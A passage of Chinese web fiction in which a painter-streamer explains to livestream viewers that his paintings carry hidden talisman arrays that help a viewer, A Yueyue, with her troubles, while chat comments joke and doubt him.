“第一次见画画上的?我毕竟是个画画的嘛,自然会喜欢用自己熟悉的方式。”
“而且其实不算虚构了,我画这幅画的时候,意识是集中在精力用想象还原阿月岳的家会怎样布局。”
“玄学说白了就是利用一些看不见摸不着,但潜力巨大的能量,而这种聚集的精神力也是一种能量。”
“并且它可以连接我和我所想的人,这样我画下的符阵自然就可以帮阿月岳解决麻烦了。”
[受教了]
这是玄门,接触过玄学的人都知道,思维对事物的影响,但这种影响不仅取决于你得实力,还取决于你对这件事的“相信”。
所谓信则有,不信则无,就是这个道理。
但对于没接触过的人来说,就很难接受了,弹幕上发[这也太唯心了]的人也不在少数。
“对呀,就是很唯心,你们还记得之前见明为什么要开直播收集愿力了吗?”
“愿力就是一个人的喜爱所产生的能量。”
[喜欢就可以产生能量?]
“嗯,每种情绪都是有的,只不过平时很驳杂,只有你对一样东西的情绪达到一定程度,亦或者许多人的情绪凝聚到一处,才够为人所用。”
吴惟解释到这里,想起来把阿月岳晾在一边不好,赶忙把话题拉回来。
“我画这幅画,是和阿月岳的意识产生连接,让我的符阵可以对她发挥功效。”
“符阵你们看不出来是因为我在画的时候就嵌进去了,和画面融为一体,自然看不出来了。”
“不过这个符阵的功效不一定需要多久,阿月岳你要不先和我加个某鹅,后续有什么情况在联系?”
虽然吴惟的不觉得会有什么状况。
“好!”
阿月岳很高兴,她确定刚刚的轻松不是错觉,她现在感觉通体舒畅,仿佛压在心口的大石头都消失不见了。
只不过之后那人还会不会发消息她也不确定,吴惟这里包售后她当然愿意了。
更何况,近水楼台先得月,说不定惟崽私下有开稿呢!虽然太太好像没有画过福瑞…咳。
[所以惟崽之前的画也有符阵吗]
“有的,从天官开始每一张都有。就是想多练习一下。”而且举手之劳能给人带来好运何乐而不为呢?
吴惟一边回应,一边加上阿月岳的某鹅,打了声招呼就切断了连线。
他看了一眼时间,发现还早,才直播了一个小时左右。
[崽是不是不知道播啥了啊]
[社恐直播,讲究的就是一个效率,笑死]
[说起来阿月岳真的没问题了吗,主播好像没有解决吧]
[过两天看看结果不就知道了,惟崽之前不也说了,他没办法直接找到那个变态]
[谁知道是不是托]
[……这人是怎么进来的,崽的隐身术失效了吗?]
“隐身术失效了吗?这个啊,自己冒头的话确实会失效。”吴惟皮了一下,“毕竟玄学又管不了机器啊。”
“机器的脑子可没有人脑灵活。”
[这个确实,笑死]
[崽崽现在干什么,还抽福袋吗?]
当初见明最开始一天三个,但是让吴惟来,还是杀了他吧。
他会的又不多,只能简单粗暴压制对方,而且他出手的时候甚至都不带动的,直接用意念就可以,可看性非常低。
这次给阿月岳画画,也是因为距离远,不能直接现场画,才拿画笔的。
说到底他就不适合这种直播。
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